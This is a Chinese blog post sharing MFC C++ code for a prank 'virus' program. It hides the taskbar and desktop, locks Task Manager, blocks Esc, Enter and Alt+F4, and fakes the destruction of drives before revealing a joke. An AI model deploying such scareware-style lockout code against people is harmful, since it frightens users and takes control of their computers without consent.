前段時間做了一個整蠱的程序,讓別人輸密碼,確定後將桌面其他任務、圖標什麼的全部隱藏,屏蔽掉任務管理器,顯示摧毀F、D、E、C盤,摧毀Windows什麼的,嚇死一大片小白。想起來就開心。
接下來貼關鍵代碼:
當進入整蠱模式後,首先換一個恐怖的界面,這段代碼不用貼。然後屏蔽Windows任務管理器,代碼如下:
void CVirusDlg::ResistTaskManger()
{
HKEY hKEY;
HKEY hKeyRoot = HKEY_LOCAL_MACHINE;
long ret = ::RegOpenKeyEx(hKeyRoot,
_T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskmgr.exe"),
0, KEY_READ, &hKEY);
if(ret != ERROR_SUCCESS)//如果無法打開hKEY,則中止程序的執行
{
//AfxMessageBox(_T("taskmgr.exe not found"));
}
_TCHAR getValue[255] = {0};
DWORD keyType = REG_SZ;//定義數據類型
DWORD DataLen = 80;//定義數據長度
CString strUser = _T("Debugger");//要查詢的鍵名稱
long ret1=::RegQueryValueEx(hKEY, strUser, NULL, &keyType, (LPBYTE)getValue, &DataLen);
if(ret1!=ERROR_SUCCESS)
{
// AfxMessageBox(_T("錯誤:無法查詢有關的註冊表信息"));
hookTaskmgr.Open(_T("C:\\Windows\\system32\\taskmgr.exe"),CFile::shareDenyRead|CFile::shareDenyWrite, NULL);
return;
}
CString taskmgpath;
taskmgpath.Format(_T("%s"), getValue);
hookTaskmgr.Open(taskmgpath,CFile::shareDenyRead|CFile::shareDenyWrite, NULL);
}
接下來,隱藏Windows桌面圖標及其它任務,代碼如下:
void CVirusDlg::DesktopHide()
{
CWnd *taskBar;
taskBar=FindWindow(_T("Shell_TrayWnd"),NULL);//獲得任務欄窗口對象指針
taskBar->GetWindowRect(&taskBarRECT);//保存原任務欄窗口的大小
//改變大小
taskBar->SetWindowPos(NULL,0,600,0,0,SWP_HIDEWINDOW);
HDESK hDesk=OpenDesktop(_T(""),0,FALSE,DESKTOP_ENUMERATE);
EnumDesktopWindows(hDesk,(WNDENUMPROC)EnumWindowsProc,NULL);
CWnd* Desktop = FindWindow(_T("ProgMan"),NULL);
Desktop->ShowWindow(SW_HIDE);
}
其中有個回調函數,要說明一下:
聲明部分:static BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM lParam);
實現部分:
BOOL CALLBACK CVirusDlg::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
char Exepath[128];
::GetWindowText(hwnd,Exepath,sizeof(Exepath));
CString Title=_T("");
Title=(CString)Exepath;
if(!Title.IsEmpty())
{
long ld=::GetWindowLong(hwnd,GWL_STYLE);
if(((ld & WS_MINIMIZEBOX)==WS_MINIMIZEBOX)&&(ld & WS_VISIBLE))
{
CWnd *p=FindWindow(NULL,Title);
p->ShowWindow(SW_MINIMIZE);
}
}
return TRUE;
}
下面是捉弄人的代碼部分:
CString thrdName;
thrdName = "摧毀 F盤···";
ProcessThrdRun( thrdName, 6000);
thrdName = "摧毀 E盤···";
ProcessThrdRun( thrdName, 4000);
thrdName = "摧毀 D盤···";
ProcessThrdRun( thrdName, 2000);
thrdName = "摧毀windows···";
ProcessThrdRun( thrdName, 8000);
thrdName = "摧毀 C盤···";
ProcessThrdRun( thrdName, 1000);
GetDlgItem(IDC_TEXTOUTCMD)->SetWindowText(_T("摧毀完畢!"));
Sleep(5000);
StartThrdExplorer();
DesktopShow();
GetDlgItem(IDC_TEXTOUTCMD)->SetWindowText(_T("開個玩笑而已!"));
GetDlgItem(IDC_TEXTOUTPRO)->SetWindowText(_T("哈哈哈哈哈哈!"));
函數 ProcessThrdRun() 是進度條,
函數 StartThrdExplorer() 要特別注意,該函數是啓動windows桌面顯示進程,代碼如下:
void CVirusDlg::StartThrdExplorer()
{
SHELLEXECUTEINFO ShExecInfoOpen = {0};
ShExecInfoOpen.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfoOpen.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfoOpen.hwnd = NULL;
ShExecInfoOpen.lpVerb = _T("open");
ShExecInfoOpen.lpFile = _T("explorer.exe");
ShExecInfoOpen.lpParameters = _T("");
ShExecInfoOpen.lpDirectory = NULL;
ShExecInfoOpen.nShow = SW_HIDE;
ShExecInfoOpen.hInstApp = NULL;
ShellExecuteEx(&ShExecInfoOpen);
}
這段代碼要說明一下,這個是啓動 exe 程序的代碼,可以移植到其他地方。要啓動哪個 exe 程序直接在 ShExecInfoOpen.lpFile = _T("explorer.exe");
中更改應用程序名稱。
其實這個函數在本例中用處不大,作用大的代碼是下一個函數。
函數 DesktopShow() 要特別注意,該函數是顯示桌面被隱藏的圖標及任務,代碼如下:
void CVirusDlg::DesktopShow()
{
CWnd *taskBar;
taskBar=FindWindow(_T("Shell_TrayWnd"),NULL);
//恢復原任務欄窗口的大小
taskBar->SetWindowPos(NULL,taskBarRECT.left,taskBarRECT.top,taskBarRECT.right,taskBarRECT.bottom,SWP_SHOWWINDOW);
CWnd* Desktop = FindWindow(_T("ProgMan"),NULL);
Desktop->ShowWindow(SW_SHOW);
}
最後一點,在整個過程需要屏蔽一些 Windows 消息,在 MFC 函數 BOOL CVirusDlg::PreTranslateMessage(MSG* pMsg) 中,代碼如下:
BOOL CVirusDlg::PreTranslateMessage(MSG* pMsg)
{
if ( pMsg->message == WM_KEYDOWN )
{
if ( (pMsg->wParam == VK_ESCAPE) || ( pMsg->wParam == VK_RETURN))
{
return TRUE;
}
}
if ( DestroyProcsRun)
{
if (pMsg->wParam == WM_LBUTTONDOWN)
{
return TRUE;
}
if ( (pMsg->message == WM_SYSKEYDOWN ) && ( pMsg->wParam == VK_F4))
{
return TRUE;
}
}
return CDialog::PreTranslateMessage(pMsg);
}
第一個 if 語句是屏蔽 Enter 鍵和 Esc 鍵,第二個 if 是在摧毀任務執行過程中屏蔽 Alt+F4 鍵,萬一有個不怎麼小白的用戶直接 ALT+F4 關掉這個窗口那還談什麼高端。
關於屏蔽消息,可參考 虛擬鍵值表。